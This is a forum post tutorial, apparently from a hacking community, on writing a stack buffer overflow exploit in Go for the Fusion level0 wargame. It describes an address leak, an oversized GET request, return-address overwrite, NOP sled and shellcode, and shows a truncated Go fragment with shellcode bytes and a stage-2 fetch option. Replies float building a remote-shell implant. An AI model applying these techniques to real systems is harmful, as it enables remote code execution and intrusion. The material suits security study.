Weaponized Exploit Writing in GO FUSION0

Exploit Development exploit, weaponized, fusion0, golang, bufferoverflow

nullbites 2 Aug '17

#Intro
Hello fellow nybbles Null Bytes and Nullers!

Today we are going to be discussing a fairly trivial exploit (FUSION level0) written in a language with very few pre-written hacking toolsets and libraries. We are a bit spoiled by pwntools and all of the SO questions on “how to implement a buffer overflow”.

I was also just looking for a challenge. 🙂

Don’t take this post seriously

#Why?

Writing Exploits in scripting languages (python, perl, ruby, sic) is so in chic right now, so why change? Because retro is making a comeback baby, *#MakeExploitsCompileAgain*

Having a binary package to distribute means that we can sell our exploits!

Yeah, people can reverse engineer our product, but if we make sure to sell only sell to governments and law enforcement then we can even include a EULA!

- C is a great compiled language but it is hard to write in.
  For C: (effort) < (money made) = false
- Pony sounds fun, but it is still in heavy dev so that is out
  For Pony: likelihood of hitting a undefined language “feature” > 1

- Rust was another consideration but I arbitrarily decided against it
  For Rust: Nah…

The Algorithm for this exploit is as folows

1. make a tcp connection to port 20000 of the server
2. Read the buffer address leak from the debugging feature
3. send a malicious GET request with a URI that is longer than 128 bytes
4. win

It is possible because of the information leak to create an *extremely* precise exploit.

Our payload is structured as follows

Payload = | “GET " | “JUNK” 139 bytes | address overwrite with leak + 158 | " HTTP/1.1” | 4-5 nops + shellcode |

The addition of 158 to the return address drops us in right after the HTTP/1.1 parameter so we don’t have to worry about prepending some jumping opcodes to our nop sled if we were to jump into URI portion of the payload.

Personally I had a lot of breakage attempting to use the short jump technique.

Without further ado - here it is:

```
package main
import (
    "bufio"
    "encoding/binary"
    "flag"
    "fmt"
    "log"
    "net"
    "strconv"
    "strings"
    "time"
)
```

```
func main() {
    // some constants
    shellcode := "\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b
    bufflen := 139
    init_exploit()
    // parse cmd line args
    pvaddr := flag.String("vaddr", "", "victim IP in format <address:port>
    ps2host := flag.String("s2_addr", "", "http://address to get stage2 sc
    flag.Parse()
    vaddr := *pvaddr
```

1 Reply

10

created	last reply	5	5.0k	5	12
Aug '17	Dec '17	replies	views	users	likes

9 DAYS LATER

SmartOne Not a N00b, but still learning — Aug '17

> nullbites:
>
> EULA

I don’t think that the FBI is going to give a sh*t on your EULA 😂
Anyways, thanks for the tutorial. What about using PyToC?
I haven’t used it yet, but what i so far have heard about it, it should suit the purpose.

1

nullbites 1 Aug '17

That was a jab at HackingTeam. During the prep for this post I was reading an article about the awful shit they do.

Also, I was thinking about using Py2C or Py2exe to write a light implant for preliminary recon for windows and linux boxes.

It's main goal would be to provide a "shell" type feature and a reflective dll loader. I was going to use CovertUtils because it is supposed to make covert comms easy, but I was unable to even execute even the example code provided with the project, so that may be a bust…):

1

3 MONTHS LATER

REal0day Nov '17

Will be playing with this later this week.
Thank you and keep the content coming!

CLOSED NOV 20, '17

1 MONTH LATER

CLOSED DEC 22, '17

Reply

Suggested Topics

Topic	Replies	Activity
Windows 7 after the Supportend **Exploit Development** windows	13	4d
Reverse Obfuscated PHP Code **Challenges** php, reverseengineering	4	Aug 9
HackTheBox Writeup: Arkham **Hackthebox Writeups**	3	29d
HackTheBox Write-Up - Curling **Hackthebox Writeups**	11	May 28
Tricks of the Trade from 5+ years in Offensive Cyber Security **Pentesting** docker, vagrant, osint, tricks, zsh	12	2d

Want to read more? Browse other topics in Exploit Developm… **or view latest topics.**